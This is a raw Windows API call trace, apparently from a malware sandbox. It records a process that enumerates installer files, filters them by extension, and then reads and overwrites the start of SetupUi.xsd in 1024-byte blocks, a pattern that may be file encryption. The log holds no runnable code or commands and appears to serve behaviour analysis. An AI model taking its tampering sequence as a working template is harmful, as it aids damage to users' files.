lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0268.297] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0268.298] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0268.298] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0268.298] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.298] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0268.298] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0268.298] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0268.298] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.298] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0268.298] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.298] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0268.298] CharLowerBuffW (in: lpsz="Setup.exe", cchLength=0x9 | out: lpsz="setup.exe") returned 0x9 [0268.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0268.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0268.299] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0268.299] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0268.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exew", lpUsedDefaultChar=0x0) returned 4 [0268.299] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0268.299] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0268.299] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0268.299] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0268.299] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0268.299] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.299] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0268.299] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0268.299] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0268.299] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.299] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0268.299] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.299] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0268.300] CharLowerBuffW (in: lpsz="SetupEngine.dll", cchLength=0xf | out: lpsz="setupengine.dll") returned 0xf [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0268.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0268.300] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0268.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllw", lpUsedDefaultChar=0x0) returned 4 [0268.300] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0268.300] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0268.300] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0268.301] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0268.301] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0268.301] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.301] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0268.301] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0268.301] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0268.301] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.301] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0268.301] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.301] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0268.301] CharLowerBuffW (in: lpsz="SetupUi.dll", cchLength=0xb | out: lpsz="setupui.dll") returned 0xb [0268.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0268.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0268.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0268.302] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0268.302] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0268.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllw", lpUsedDefaultChar=0x0) returned 4 [0268.302] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0268.302] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0268.302] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0268.302] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0268.302] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0268.302] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.302] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0268.302] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0268.302] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0268.302] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.302] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0268.302] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.303] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0268.303] CharLowerBuffW (in: lpsz="SetupUi.xsd", cchLength=0xb | out: lpsz="setupui.xsd") returned 0xb [0268.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0268.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0268.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0268.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0268.303] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0268.303] CharLowerBuffW (in: lpsz=".xsd", cchLength=0x4 | out: lpsz=".xsd") returned 0x4 [0268.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xsd", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xsdw", lpUsedDefaultChar=0x0) returned 4 [0268.303] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da1d0 [0268.303] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0268.303] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0268.304] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0268.304] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd", dwFileAttributes=0x20) returned 1 [0268.304] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0268.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x75a8 [0268.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0268.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=30120, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0x75a8 [0268.304] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c68*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0268.324] CloseHandle (hObject=0x398) returned 1 [0268.327] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.328] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0268.328] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x75a9 [0268.328] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0268.328] SetFilePointer (in: hFile=0x398, lDistanceToMove=30120, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x75a8 [0268.328] SetEndOfFile (hFile=0x398) returned 1 [0268.332] CloseHandle (hObject=0x398) returned 1 [0268.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.332] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0268.333] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x75a8 [0268.333] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0268.334] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0268.334] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0268.334] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x75a8 [0268.334] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0268.334] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0268.336] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0268.336] GlobalLock (hMem=0x3f40014) returned 0x3ae6e20 [0268.336] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0268.336] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.336] GlobalHandle (pMem=0x3ae6e20) returned 0x3f40014 [0268.336] GlobalUnlock (hMem=0x3f40014) returned 0 [0268.336] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0268.336] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0268.336] GlobalUnlock (hMem=0x3f40014) returned 0 [0268.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0268.337] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0268.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x400 [0268.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x75a8 [0268.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x400 [0268.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=30120, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 